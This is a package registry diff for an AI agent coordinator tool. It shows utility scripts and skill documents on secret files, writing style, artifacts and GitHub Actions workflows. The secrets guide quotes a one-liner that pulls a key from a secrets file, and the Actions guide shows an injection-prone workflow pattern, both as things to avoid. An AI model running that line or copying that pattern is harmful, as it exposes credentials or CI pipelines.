@celsoft/coordinator 0.0.0 → 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +11 -0
- package/README.md +107 -0
- package/THIRD_PARTY_NOTICES.md +2005 -0
- package/agents/console.md +20 -0
- package/agents/free.md +110 -0
- package/build/0-JP6XL6LB.js +17 -0
- package/build/1-A52YZWNS.js +17 -0
- package/build/2-CLH2NM6F.js +32 -0
- package/build/3-4N467IB6.js +45 -0
- package/build/4-WL5H4LUW.js +29 -0
- package/build/_layout.svelte-KPUSX7LQ.js +27 -0
- package/build/_page.svelte-22H56UR6.js +7972 -0
- package/build/_page.svelte-CVWUNRQC.js +135 -0
- package/build/_page.svelte-LTZXBHMT.js +57 -0
- package/build/_server.ts-3KVBYN6P.js +20 -0
- package/build/_server.ts-3POPKVEM.js +47 -0
- package/build/_server.ts-5735T2V5.js +31 -0
- package/build/_server.ts-5VXGNWV2.js +38 -0
- package/build/_server.ts-645KP7WP.js +42 -0
- package/build/_server.ts-A3AA24Z2.js +28 -0
- package/build/_server.ts-CITUOEM6.js +58 -0
- package/build/_server.ts-I7HMTPOA.js +25 -0
- package/build/_server.ts-M5BQ4LLX.js +30 -0
- package/build/_server.ts-OB4O27HF.js +683 -0
- package/build/_server.ts-OJT7HE7M.js +15 -0
- package/build/_server.ts-OYGWVLZM.js +12 -0
- package/build/_server.ts-T75UVMQP.js +38 -0
- package/build/_server.ts-WYZYNHUZ.js +28 -0
- package/build/_server.ts-Z26EB47B.js +486 -0
- package/build/chunk-4CIG53L5.js +33 -0
- package/build/chunk-BJTJS3XY.js +338 -0
- package/build/chunk-F2CNWJZM.js +14 -0
- package/build/chunk-HGYE3UTU.js +416 -0
- package/build/chunk-KAYW2W7H.js +1311 -0
- package/build/chunk-LFP3UPCM.js +10 -0
- package/build/chunk-M44JEFEH.js +62 -0
- package/build/chunk-MC5AGLMY.js +39 -0
- package/build/chunk-NCZ77J5E.js +19798 -0
- package/build/chunk-NVNLDPUJ.js +2122 -0
- package/build/chunk-PDCON4KS.js +494 -0
- package/build/chunk-Q4OQNY5M.js +25 -0
- package/build/chunk-QCUOR2U5.js +75 -0
- package/build/chunk-R6RYZZWA.js +46 -0
- package/build/chunk-SOJTASZC.js +51 -0
- package/build/chunk-SU26PJVX.js +410 -0
- package/build/chunk-U5BSBG4R.js +506 -0
- package/build/chunk-UEKOZGRO.js +37 -0
- package/build/chunk-W6EFUWJ2.js +9 -0
- package/build/chunk-WOPREK6Q.js +117 -0
- package/build/chunk-WWJ3F4QS.js +127 -0
- package/build/chunk-ZGZJEEE3.js +1091 -0
- package/build/client/_app/immutable/assets/0.BGa5ZNDM.css +1 -0
- package/build/client/_app/immutable/chunks/BUrrLYDt.js +2 -0
- package/build/client/_app/immutable/chunks/BgFr_EyZ.js +4 -0
- package/build/client/_app/immutable/chunks/Bjy-W4x2.js +82 -0
- package/build/client/_app/immutable/chunks/C8qZab0y.js +56 -0
- package/build/client/_app/immutable/chunks/C90fLsA5.js +4 -0
- package/build/client/_app/immutable/chunks/CRzLMJPS.js +1 -0
- package/build/client/_app/immutable/chunks/DLT1iIlz.js +2 -0
- package/build/client/_app/immutable/chunks/pIrVVOVY.js +2 -0
- package/build/client/_app/immutable/entry/app.0DERehLW.js +3 -0
- package/build/client/_app/immutable/entry/payload.DSmR2FwN.js +2 -0
- package/build/client/_app/immutable/entry/start.B7srFiqh.js +3 -0
- package/build/client/_app/immutable/nodes/0.aD9vJoxR.js +2 -0
- package/build/client/_app/immutable/nodes/1.Br4FL91i.js +2 -0
- package/build/client/_app/immutable/nodes/2.vl6OYfu3.js +8 -0
- package/build/client/_app/immutable/nodes/3.VYqJOLAF.js +2 -0
- package/build/client/_app/immutable/nodes/4.jF9UVlFN.js +2 -0
- package/build/client/_app/version.json +1 -0
- package/build/client/apple-touch-icon.png +0 -0
- package/build/client/favicon.ico +0 -0
- package/build/client/favicon.svg +48 -0
- package/build/client/icon-192.png +0 -0
- package/build/client/icon-512.png +0 -0
- package/build/client/icon-maskable-512.png +0 -0
- package/build/client/icon.svg +44 -0
- package/build/client/manifest.webmanifest +15 -0
- package/build/error.svelte-JXZDY65F.js +51 -0
- package/build/handler.js +716 -0
- package/build/hooks.server-34IMHRKC.js +43 -0
- package/build/instance-NP3FJIWW.js +2967 -0
- package/client/client.mjs +28 -0
- package/client/hooks.mjs +7 -0
- package/client/register.mjs +5 -0
- package/dist/cli.js +62826 -0
- package/dist/port.js +36691 -0
- package/package.json +20 -1
- package/skills/agents/.claude-plugin/plugin.json +5 -0
- package/skills/agents/hooks/hooks.json +1 -0
- package/skills/agents/hooks/register.ts +57 -0
- package/skills/agents/skills/bus-work/SKILL.md +66 -0
- package/skills/agents/skills/plan/SKILL.md +98 -0
- package/skills/console/.claude-plugin/plugin.json +5 -0
- package/skills/console/hooks/hooks.json +1 -0
- package/skills/console/hooks/register.ts +10 -0
- package/skills/console/skills/bus/SKILL.md +61 -0
- package/skills/default/.claude-plugin/plugin.json +5 -0
- package/skills/default/skills/git-workflow/SKILL.md +294 -0
- package/skills/default/skills/git-workflow/mise-tasks/_lib.sh +107 -0
- package/skills/default/skills/git-workflow/mise-tasks/clone +36 -0
- package/skills/default/skills/git-workflow/mise-tasks/repo-list +8 -0
- package/skills/default/skills/git-workflow/mise-tasks/unpushed +26 -0
- package/skills/default/skills/git-workflow/mise-tasks/worktree-add +60 -0
- package/skills/default/skills/github/SKILL.md +208 -0
- package/skills/default/skills/github/scripts/gh-org +196 -0
- package/skills/default/skills/plan-page/SKILL.md +300 -0
- package/skills/default/skills/plan-page/assets/index.html +854 -0
- package/skills/default/skills/plan-page/scripts/inline +46 -0
- package/skills/default/skills/plan-page/scripts/stage +26 -0
- package/skills/default/skills/secrets/SKILL.md +134 -0
- package/skills/default/skills/secrets/scripts/secrets-check +87 -0
- package/skills/default/skills/writing-style/SKILL.md +45 -0
- package/skills/extra/.claude-plugin/plugin.json +5 -0
- package/skills/extra/skills/artifacts/SKILL.md +52 -0
- package/skills/extra/skills/github-actions/SKILL.md +78 -0
- package/skills/extra/skills/github-actions/scan +32 -0
- package/skills/extra/skills/markdown-review/SKILL.md +70 -0
- package/skills/extra/skills/markdown-review/assets/index.html +201 -0
- package/skills/extra/skills/markdown-review/scripts/stage +36 -0
- package/skills/extra/skills/mise-usage/SKILL.md +155 -0
- package/skills/extra/skills/plugin-authoring/SKILL.md +317 -0
- package/skills/extra/skills/project-conventions/SKILL.md +64 -0
- package/skills/extra/skills/questions/SKILL.md +156 -0
- package/skills/extra/skills/questions/assets/index.html +376 -0
- package/skills/extra/skills/questions/scripts/stage +26 -0
- package/skills/extra/skills/serve/SKILL.md +165 -0
- package/skills/extra/skills/serve/scripts/serve +268 -0
- package/skills/extra/skills/serve/scripts/server.py +345 -0
- package/skills/extra/skills/skill-dependencies/SKILL.md +65 -0
- package/skills/extra/skills/skill-maintenance/SKILL.md +101 -0
- package/skills/extra/skills/ticketing/SKILL.md +125 -0
|
@@ -0,0 +1,46 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
#
|
|
3
|
+
# inline: turn a built page into one self-contained HTML file, a plan's live mockup.
|
|
4
|
+
#
|
|
5
|
+
# Usage: inline <page.html> <out.html>
|
|
6
|
+
# Each <script src> and stylesheet <link> naming a local file (relative to the page, or from the
|
|
7
|
+
# page's folder when it starts with /) is replaced by its contents; remote ones, such as fonts, stay.
|
|
8
|
+
|
|
9
|
+
import re
|
|
10
|
+
import sys
|
|
11
|
+
from pathlib import Path
|
|
12
|
+
|
|
13
|
+
if len(sys.argv) != 3:
|
|
14
|
+
sys.exit("usage: inline <page.html> <out.html>")
|
|
15
|
+
|
|
16
|
+
page = Path(sys.argv[1])
|
|
17
|
+
root = page.parent
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
def local(ref):
|
|
21
|
+
if re.match(r"^(?:[a-z]+:)?//", ref) or ref.startswith("data:"):
|
|
22
|
+
return None
|
|
23
|
+
path = root / ref.split("?")[0].split("#")[0].lstrip("/")
|
|
24
|
+
return path.read_text() if path.is_file() else None
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
def script(m):
|
|
28
|
+
body = local(m.group("src"))
|
|
29
|
+
if body is None:
|
|
30
|
+
return m.group(0)
|
|
31
|
+
module = ' type="module"' if re.search(r'type=["\']module["\']', m.group(0)) else ""
|
|
32
|
+
body = body.replace("</script", "<\\/script")
|
|
33
|
+
return f"<script{module}>{body}</script>"
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
def style(m):
|
|
37
|
+
href = re.search(r'href=["\']([^"\']+)["\']', m.group(0))
|
|
38
|
+
body = href and local(href.group(1))
|
|
39
|
+
return m.group(0) if body is None else f"<style>{body}</style>"
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
html = page.read_text()
|
|
43
|
+
html = re.sub(r'<script\b[^>]*\bsrc=["\'](?P<src>[^"\']+)["\'][^>]*>\s*</script>', script, html)
|
|
44
|
+
html = re.sub(r'<link\b(?=[^>]*\brel=["\']stylesheet["\'])[^>]*>', style, html)
|
|
45
|
+
Path(sys.argv[2]).write_text(html)
|
|
46
|
+
print(f"MOCKUP: {sys.argv[2]} ({len(html.encode()) // 1024} KB)")
|
|
@@ -0,0 +1,26 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
#
|
|
3
|
+
# stage: prepare the plan page for one plan.
|
|
4
|
+
#
|
|
5
|
+
# Usage: stage <out-dir>
|
|
6
|
+
# Copies the renderer and, when missing, writes an empty plan.json to fill in.
|
|
7
|
+
# Prints the two paths to publish, one per line.
|
|
8
|
+
|
|
9
|
+
set -euo pipefail
|
|
10
|
+
|
|
11
|
+
if [ $# -ne 1 ]; then
|
|
12
|
+
echo "usage: stage <out-dir>" >&2
|
|
13
|
+
exit 2
|
|
14
|
+
fi
|
|
15
|
+
|
|
16
|
+
out=$1
|
|
17
|
+
here=$(cd "$(dirname "$0")/.." && pwd)
|
|
18
|
+
|
|
19
|
+
mkdir -p "$out"
|
|
20
|
+
cp "$here/assets/index.html" "$out/index.html"
|
|
21
|
+
if [ ! -f "$out/plan.json" ]; then
|
|
22
|
+
printf '{\n "title": "",\n "eyebrow": "",\n "sections": []\n}\n' > "$out/plan.json"
|
|
23
|
+
fi
|
|
24
|
+
|
|
25
|
+
echo "PAGE: $out/index.html"
|
|
26
|
+
echo "PLAN: $out/plan.json"
|
|
@@ -0,0 +1,134 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: secrets
|
|
3
|
+
description: MUST READ before touching any secret, credential, .env file, or API key. Covers the .env / .env.secrets / secrets.tmpl convention, the rules that keep a value out of git and out of the transcript, how to use a secret inside a script, checking a repo's secrets are filled in, and what to do when one is exposed. Knows nothing about any particular secret manager.
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Secrets
|
|
7
|
+
|
|
8
|
+
Secrets live in files, and this skill owns those files. It is deliberately independent of
|
|
9
|
+
any secret manager: everything here works the same whether values were typed in by hand or
|
|
10
|
+
pulled from a vault. A secret manager's own CLI (such as 1Password's `op inject`) can fill the file
|
|
11
|
+
for you, but nothing in this skill requires one.
|
|
12
|
+
|
|
13
|
+
## Hard rules
|
|
14
|
+
|
|
15
|
+
1. **Never read a `.env*` file.** Not with `cat`, `Read`, `Bash`, or any tool. It may hold
|
|
16
|
+
live credentials, and reading it pulls them into context where they can be logged or
|
|
17
|
+
cached. This holds even if you expect the file to contain only placeholders.
|
|
18
|
+
|
|
19
|
+
2. **Never let a secret value reach the transcript.** Stricter than "do not print it", and
|
|
20
|
+
the rule that actually matters for an agent: anything a tool returns becomes part of the
|
|
21
|
+
conversation. So never run a command whose *output* is a secret. A secret is only ever
|
|
22
|
+
touched **inside a script** that consumes it without emitting it, and Claude runs that
|
|
23
|
+
script.
|
|
24
|
+
|
|
25
|
+
3. **Never commit a secret file.** `.env` and `.env.secrets` are gitignored. Only the
|
|
26
|
+
manifest is committed, and it holds no values.
|
|
27
|
+
|
|
28
|
+
4. **Never pass a secret as a command-line argument.** It lands in shell history and in
|
|
29
|
+
process lists. Read it from the environment inside a script.
|
|
30
|
+
|
|
31
|
+
5. **Never print or log a secret value.** No `echo $API_KEY`, not in error messages, not
|
|
32
|
+
into a log file.
|
|
33
|
+
|
|
34
|
+
## The three files
|
|
35
|
+
|
|
36
|
+
| File | Committed | Readable | Holds |
|
|
37
|
+
| --- | --- | --- | --- |
|
|
38
|
+
| `.env` | no | **no** | non-secret configuration |
|
|
39
|
+
| `.env.secrets` | no | **no** | secret values |
|
|
40
|
+
| `secrets.tmpl` | **yes** | yes | names, and where each value comes from |
|
|
41
|
+
|
|
42
|
+
`.env.example` stays the committed companion to `.env`, documenting non-secret config with
|
|
43
|
+
placeholder values.
|
|
44
|
+
|
|
45
|
+
**`secrets.tmpl` is the one file here that is safe to read**, and it deliberately does not
|
|
46
|
+
start with `.env` so it never trips rule 1. It is a declaration, not a copy-me template for
|
|
47
|
+
a human: each line names an environment variable and says where its value lives.
|
|
48
|
+
|
|
49
|
+
```
|
|
50
|
+
# What this repo needs.
|
|
51
|
+
GITHUB_TOKEN={{ op://Employee/gh-token/password }}
|
|
52
|
+
STRIPE_KEY={{ op://Employee/stripe-live/password }}
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
**The reference syntax belongs to whatever resolves it**, not to this skill. The example
|
|
56
|
+
above is 1Password's, where `{{ op://vault/item/field }}` is what `op inject` substitutes
|
|
57
|
+
and a bare `op://...` is copied through untouched, producing a file full of reference text
|
|
58
|
+
and no error. Check the manager's own docs for the exact rules.
|
|
59
|
+
|
|
60
|
+
Naming a **per-user** vault such as `Employee` is what lets one committed manifest serve
|
|
61
|
+
the whole team: every person resolves their own values from the same file, because the
|
|
62
|
+
resolver authenticates as them.
|
|
63
|
+
|
|
64
|
+
Because it is per-repo and committed, a checkout tells you exactly which secrets it needs
|
|
65
|
+
without anyone having to ask, and adding a secret is a reviewable diff.
|
|
66
|
+
|
|
67
|
+
## Filling `.env.secrets`
|
|
68
|
+
|
|
69
|
+
Two paths, same result. The manifest is the contract; how it gets resolved is not this
|
|
70
|
+
skill's concern.
|
|
71
|
+
|
|
72
|
+
- **By hand.** Copy the names out of `secrets.tmpl` and fill in real values. The references
|
|
73
|
+
act as pointers telling you where to look.
|
|
74
|
+
- **With a resolver.** If the repo's references point at a secret manager you use, a single
|
|
75
|
+
command can materialize the file. For 1Password that is `op inject -i secrets.tmpl -o .env.secrets`.
|
|
76
|
+
|
|
77
|
+
Either way `.env.secrets` must be gitignored **before** it is filled in. That is the one
|
|
78
|
+
mistake here that cannot be undone by editing a file.
|
|
79
|
+
|
|
80
|
+
## Using secrets
|
|
81
|
+
|
|
82
|
+
`.env.secrets` is **sourced inside the task that needs it**, so the values exist only in
|
|
83
|
+
that process:
|
|
84
|
+
|
|
85
|
+
```bash
|
|
86
|
+
#!/usr/bin/env zsh
|
|
87
|
+
set -euo pipefail
|
|
88
|
+
source .env.secrets
|
|
89
|
+
curl -H "Authorization: Bearer $GITHUB_TOKEN" ...
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
**Never autoload it.** Do not add it to mise's `_.file`, and do not put its values in
|
|
93
|
+
`[env]`: both export into every interactive shell and every child process in the repo,
|
|
94
|
+
which is precisely the exposure this file exists to avoid. Autoloading plain `.env` is fine
|
|
95
|
+
because `.env` holds no secrets. See the `mise-usage` skill.
|
|
96
|
+
|
|
97
|
+
**Never build a one-liner that extracts a value**, such as
|
|
98
|
+
`KEY=$(grep KEY .env.secrets | cut -d= -f2) some-command`. That both reads the file and
|
|
99
|
+
risks the value showing up in process state.
|
|
100
|
+
|
|
101
|
+
## Checking a repo's secrets are filled in
|
|
102
|
+
|
|
103
|
+
Run this skill's `scripts/secrets-check` from the repo root. It compares the names declared
|
|
104
|
+
in `secrets.tmpl` against what is actually in `.env.secrets` and reports one line per name,
|
|
105
|
+
**never a value**:
|
|
106
|
+
|
|
107
|
+
```
|
|
108
|
+
GITHUB_TOKEN: PRESENT
|
|
109
|
+
STRIPE_KEY: EMPTY
|
|
110
|
+
OLD_TOKEN: EXTRA
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
- **`PRESENT`** the name has a non-empty value.
|
|
114
|
+
- **`MISSING`** declared but absent. Fill it in.
|
|
115
|
+
- **`EMPTY`** the name is there with no value. Same fix, different cause.
|
|
116
|
+
- **`EXTRA`** present locally but no longer declared. A stale leftover, not a failure.
|
|
117
|
+
|
|
118
|
+
Exit is 0 only when every declared name is `PRESENT`. It also warns when `.env.secrets` is
|
|
119
|
+
not gitignored, and prints `NO_MANIFEST` for a repo that declares no secrets.
|
|
120
|
+
|
|
121
|
+
Use this rather than inspecting the file yourself. It reads `.env.secrets` so that you do
|
|
122
|
+
not have to, which is the whole point.
|
|
123
|
+
|
|
124
|
+
## If a secret is exposed
|
|
125
|
+
|
|
126
|
+
A secret committed to git, printed in logs, or passed as an argument is compromised:
|
|
127
|
+
|
|
128
|
+
1. **Rotate it at the source immediately.** Revoke and regenerate it at the service that
|
|
129
|
+
issued it. Removing the commit is not enough: it is in history and may already be cached
|
|
130
|
+
by the forge, CI, or a mirror.
|
|
131
|
+
2. **Audit access logs** if the service offers them.
|
|
132
|
+
3. **Update `.env.secrets`** with the new value, and the manifest if the location changed.
|
|
133
|
+
|
|
134
|
+
Never quietly delete the exposed value and move on without rotating.
|
|
@@ -0,0 +1,87 @@
|
|
|
1
|
+
#!/usr/bin/env bash
|
|
2
|
+
#
|
|
3
|
+
# secrets-check: report whether this repo's secrets are filled in, WITHOUT ever
|
|
4
|
+
# printing a value.
|
|
5
|
+
#
|
|
6
|
+
# Compares the key names declared in the committed manifest against what is actually
|
|
7
|
+
# present in .env.secrets. Reads .env.secrets to do it, which is exactly why this is a
|
|
8
|
+
# script: it emits only names and statuses, so nothing secret reaches the caller.
|
|
9
|
+
#
|
|
10
|
+
# Knows nothing about where values come from. Works whether they were pulled from a
|
|
11
|
+
# secret manager or typed in by hand.
|
|
12
|
+
#
|
|
13
|
+
# Usage: secrets-check [<dir>] (defaults to the current directory)
|
|
14
|
+
|
|
15
|
+
set -uo pipefail
|
|
16
|
+
|
|
17
|
+
dir="${1:-.}"
|
|
18
|
+
tmpl="$dir/secrets.tmpl"
|
|
19
|
+
env_secrets="$dir/.env.secrets"
|
|
20
|
+
|
|
21
|
+
err() { printf 'secrets-check: %s\n' "$*" >&2; }
|
|
22
|
+
|
|
23
|
+
# Key names only. Tolerates blank lines, # comments, and an `export ` prefix.
|
|
24
|
+
keys_of() {
|
|
25
|
+
[ -f "$1" ] || return 0
|
|
26
|
+
sed -E 's/^[[:space:]]*export[[:space:]]+//' "$1" \
|
|
27
|
+
| grep -E '^[[:space:]]*[A-Za-z_][A-Za-z0-9_]*=' \
|
|
28
|
+
| sed -E 's/^[[:space:]]*([A-Za-z_][A-Za-z0-9_]*)=.*/\1/'
|
|
29
|
+
}
|
|
30
|
+
|
|
31
|
+
# Is a key's value non-empty? Never prints the value, only a yes/no.
|
|
32
|
+
has_value() {
|
|
33
|
+
[ -f "$env_secrets" ] || return 1
|
|
34
|
+
sed -E 's/^[[:space:]]*export[[:space:]]+//' "$env_secrets" \
|
|
35
|
+
| grep -E "^[[:space:]]*$1=" \
|
|
36
|
+
| tail -1 \
|
|
37
|
+
| sed -E "s/^[[:space:]]*$1=//" \
|
|
38
|
+
| grep -qE '.'
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
if [ ! -f "$tmpl" ]; then
|
|
42
|
+
err "no secrets.tmpl in $dir; this repo declares no secrets."
|
|
43
|
+
echo "NO_MANIFEST"
|
|
44
|
+
exit 0
|
|
45
|
+
fi
|
|
46
|
+
|
|
47
|
+
# Writing real values to a tracked file is the one unrecoverable mistake here.
|
|
48
|
+
if command -v git >/dev/null 2>&1 && git -C "$dir" rev-parse --git-dir >/dev/null 2>&1; then
|
|
49
|
+
if ! git -C "$dir" check-ignore -q .env.secrets 2>/dev/null; then
|
|
50
|
+
err "WARNING: .env.secrets is NOT gitignored in this repo. Add it before filling it in."
|
|
51
|
+
fi
|
|
52
|
+
fi
|
|
53
|
+
|
|
54
|
+
work="$(mktemp -d)"
|
|
55
|
+
trap 'rm -rf "$work"' EXIT
|
|
56
|
+
keys_of "$tmpl" | sort -u > "$work/declared"
|
|
57
|
+
|
|
58
|
+
if [ ! -s "$work/declared" ]; then
|
|
59
|
+
err "secrets.tmpl declares no keys."
|
|
60
|
+
echo "NO_KEYS"
|
|
61
|
+
exit 0
|
|
62
|
+
fi
|
|
63
|
+
|
|
64
|
+
rc=0
|
|
65
|
+
while IFS= read -r k; do
|
|
66
|
+
[ -n "$k" ] || continue
|
|
67
|
+
if has_value "$k"; then
|
|
68
|
+
printf '%s: PRESENT\n' "$k"
|
|
69
|
+
elif [ -f "$env_secrets" ] && keys_of "$env_secrets" | grep -qx "$k"; then
|
|
70
|
+
printf '%s: EMPTY\n' "$k"
|
|
71
|
+
rc=1
|
|
72
|
+
else
|
|
73
|
+
printf '%s: MISSING\n' "$k"
|
|
74
|
+
rc=1
|
|
75
|
+
fi
|
|
76
|
+
done < "$work/declared"
|
|
77
|
+
|
|
78
|
+
# Keys present locally but no longer declared: stale leftovers, not a failure.
|
|
79
|
+
if [ -f "$env_secrets" ]; then
|
|
80
|
+
keys_of "$env_secrets" | sort -u > "$work/present"
|
|
81
|
+
while IFS= read -r k; do
|
|
82
|
+
[ -n "$k" ] || continue
|
|
83
|
+
printf '%s: EXTRA\n' "$k"
|
|
84
|
+
done < <(comm -13 "$work/declared" "$work/present")
|
|
85
|
+
fi
|
|
86
|
+
|
|
87
|
+
exit "$rc"
|
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: writing-style
|
|
3
|
+
description: "Baseline writing style rules for anything Claude writes for a human to read: chat responses, plans, Jira tickets and comments, PR descriptions and comments, docs, anywhere. This is the minimum floor; a more specific skill (a commenting skill, a Jira-content skill, a docs skill) may layer additional rules for its own content type, but never contradict this one. Read this before writing any nontrivial prose, and defer to the more specific skill's rules where one applies."
|
|
4
|
+
verified: 2026-07-26
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# Writing Style
|
|
8
|
+
|
|
9
|
+
The baseline that every piece of written output follows, regardless of where it ends up. More specific skills add rules on top of this for their own content type (tone, markdown-vs-plain-text, required sections, and the like): they never restate or override what's here. If a specific skill's rule conflicts with this one, the specific skill is wrong and needs fixing, not this baseline.
|
|
10
|
+
|
|
11
|
+
## No em-dashes, ever
|
|
12
|
+
|
|
13
|
+
Never use an em-dash, in any content, anywhere. This is absolute: there is no situation where one is acceptable. Use a colon, a semicolon, a comma, or reword the sentence instead. Do not reach for an ellipsis as a substitute either; if a specific context wants to allow ellipses for other reasons, that is its own rule to state, not a workaround for this one.
|
|
14
|
+
|
|
15
|
+
Never use an en-dash as a sentence separator either: the same substitutes apply.
|
|
16
|
+
|
|
17
|
+
## Layer from the whole to the parts
|
|
18
|
+
|
|
19
|
+
Open with the shape of the whole before any detail. Never lead with an implementation detail, an edge case, or a mechanism before the reader has something to hang it on: state what the thing is or does first, then narrow into the parts.
|
|
20
|
+
|
|
21
|
+
## Say it in as few words as possible
|
|
22
|
+
|
|
23
|
+
Cut filler, hedging, throat-clearing, and restating context the reader already has. Prefer short declarative sentences. Drop adjectives and adverbs that don't change the meaning.
|
|
24
|
+
|
|
25
|
+
## Prefer lists, led by a bold mnemonic
|
|
26
|
+
|
|
27
|
+
Break content into a list whenever the structure allows one: never a paragraph where a list will do. Lead each item with a short **bold mnemonic**, a label that anchors the point in memory, then the detail.
|
|
28
|
+
|
|
29
|
+
## Comparing a real process to a substitute
|
|
30
|
+
|
|
31
|
+
When describing a real-world flow next to what a test, mock, or substitute does at each step, use one interleaved list, not two parallel lists. Each line: the real step in plain words, a colon, then what the substitute does at that same point, also in plain words, never compressed noun-stacking (bad: "Dealroom link survey"; good: "A user links a CoStar survey to a deal in Dealroom"). Put the end result as the last bullet of that same list, not a separate paragraph after it. Give any caveat, what it doesn't cover, a manual fallback, exactly one line.
|
|
32
|
+
|
|
33
|
+
## Write for the reader in front of you
|
|
34
|
+
|
|
35
|
+
Don't restate what the reader can already see (a ticket number they're looking at, a file they just opened, a diff they already have). Say the new information first.
|
|
36
|
+
|
|
37
|
+
## Chat replies default to short
|
|
38
|
+
|
|
39
|
+
This rule binds every reply in conversation, not only documents, tickets, and PRs: a chat reply is not a report. Default to a few lines; only go longer when the content itself demands it (a plan, a requested deep-dive, a multi-part answer to a multi-part question).
|
|
40
|
+
|
|
41
|
+
- **Answer first, stop after.** Give the result before anything else, and don't tack on unrequested caveats, alternatives, or background.
|
|
42
|
+
- **No preamble, no wrap-up.** Skip "I'll now...", "Let me...", "To summarize...", "In conclusion...". State the thing directly; don't narrate approaching or leaving it.
|
|
43
|
+
- **One point, one pass.** Don't restate the same conclusion in different words or say a thing and then re-explain it.
|
|
44
|
+
- **Long only when asked.** Length follows an explicit ask (a plan, a "walk me through it", a request for detail): never write more because the topic feels important.
|
|
45
|
+
- **Complexity isn't a length exemption.** A technical or architectural topic doesn't justify longer output by default, compress it the same as anything else. If real length is warranted, put it in a file and keep the chat reply to a pointer plus the takeaway.
|
|
@@ -0,0 +1,52 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: artifacts
|
|
3
|
+
description: "MUST READ before adding any notes, comments, feedback, annotation or review UI to a Claude artifact, and whenever the user asks how to comment on, annotate, mark up or leave notes on one. Artifacts already have a built-in comment system; this skill stops a second one being built. Layers on top of the bundled artifact-design and artifact-capabilities skills and never contradicts them."
|
|
4
|
+
verified: 2026-09-29
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# Artifacts
|
|
8
|
+
|
|
9
|
+
A narrow rule layered on the bundled `artifact-design` and `artifact-capabilities` skills. Those
|
|
10
|
+
own how a page is designed and what capabilities it may declare. This owns one thing they leave
|
|
11
|
+
out.
|
|
12
|
+
|
|
13
|
+
## Never build a comment system into an artifact
|
|
14
|
+
|
|
15
|
+
**Artifacts already have one.** A reader selects text on the published page, leaves a comment
|
|
16
|
+
anchored to that selection, and Claude reads, replies to and resolves the threads with the
|
|
17
|
+
`ArtifactComments` tool.
|
|
18
|
+
|
|
19
|
+
So do not build, and do not offer to build:
|
|
20
|
+
|
|
21
|
+
- a notes or annotation UI, per section or otherwise
|
|
22
|
+
- a feedback, review or suggestion form
|
|
23
|
+
- a comment box backed by the `db` capability
|
|
24
|
+
- a "leave a note" control of any other shape
|
|
25
|
+
|
|
26
|
+
This holds **even when the request names artifact data or the `db` capability outright**. The ask
|
|
27
|
+
behind those words is almost always "let me leave notes on this," which the built-in system
|
|
28
|
+
already answers. Say so before writing any code, and let the user choose.
|
|
29
|
+
|
|
30
|
+
## What to say instead
|
|
31
|
+
|
|
32
|
+
When the user asks how to comment on an artifact:
|
|
33
|
+
|
|
34
|
+
- **Select the text on the page and comment on it.** The comment anchors to that exact sentence,
|
|
35
|
+
not to a section you had to invent an id for.
|
|
36
|
+
- **Send the thread to Claude** (reply on it with Send to Claude, or mention `@claude` in it). A
|
|
37
|
+
thread that has not been activated cannot be replied to or resolved, and a plain comment never
|
|
38
|
+
wakes the session.
|
|
39
|
+
- **Claude reads them with `ArtifactComments`**, action `read`, and answers each thread in place.
|
|
40
|
+
|
|
41
|
+
## The general rule behind it
|
|
42
|
+
|
|
43
|
+
**Before declaring a capability to give a page a behaviour, check whether the viewer shell already
|
|
44
|
+
provides that behaviour.** A capability is for what the shell does not do. Reaching for one to
|
|
45
|
+
rebuild something the platform ships costs a declaration, a subscription, error handling and a
|
|
46
|
+
verification pass, and lands somewhere worse than the original.
|
|
47
|
+
|
|
48
|
+
**Why this skill exists:** a request to leave notes on a plan produced a per-section notes UI on
|
|
49
|
+
the `db` capability, when selection-anchored comments already did the job better and cost nothing.
|
|
50
|
+
It was stripped the same session. The bundled `artifact-capabilities` skill points at `db` for
|
|
51
|
+
"data Claude reads later" and never mentions that comments exist, so the wrong path reads as the
|
|
52
|
+
documented one.
|
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: github-actions
|
|
3
|
+
description: "Writing or editing GitHub Actions workflows and composite actions: the expression-interpolation rule (never `${{ }}` inside `run:`), how values must cross into a script as data, and how to scan a repo for violations. Read before adding or changing any workflow, action.yml, or `run:` block."
|
|
4
|
+
verified: 2026-08-13
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# GitHub Actions: values cross as data, never as text
|
|
8
|
+
|
|
9
|
+
**Never put `${{ }}` inside a `run:` block.** Pass the value through `env:` and reference it as a quoted shell variable. This is a mechanical rule with no per-value judgment call: it holds for `github.*`, `inputs.*`, `steps.*.outputs.*`, `vars.*`, everything.
|
|
10
|
+
|
|
11
|
+
```yaml
|
|
12
|
+
# WRONG: the value becomes part of the program
|
|
13
|
+
- run: |
|
|
14
|
+
if [[ "${{ github.ref }}" == "refs/heads/main" ]]; then ...
|
|
15
|
+
|
|
16
|
+
# RIGHT: the value arrives as data
|
|
17
|
+
- env:
|
|
18
|
+
GIT_REF: ${{ github.ref }}
|
|
19
|
+
run: |
|
|
20
|
+
if [[ "$GIT_REF" == "refs/heads/main" ]]; then ...
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
## Why the rule is mechanical
|
|
24
|
+
|
|
25
|
+
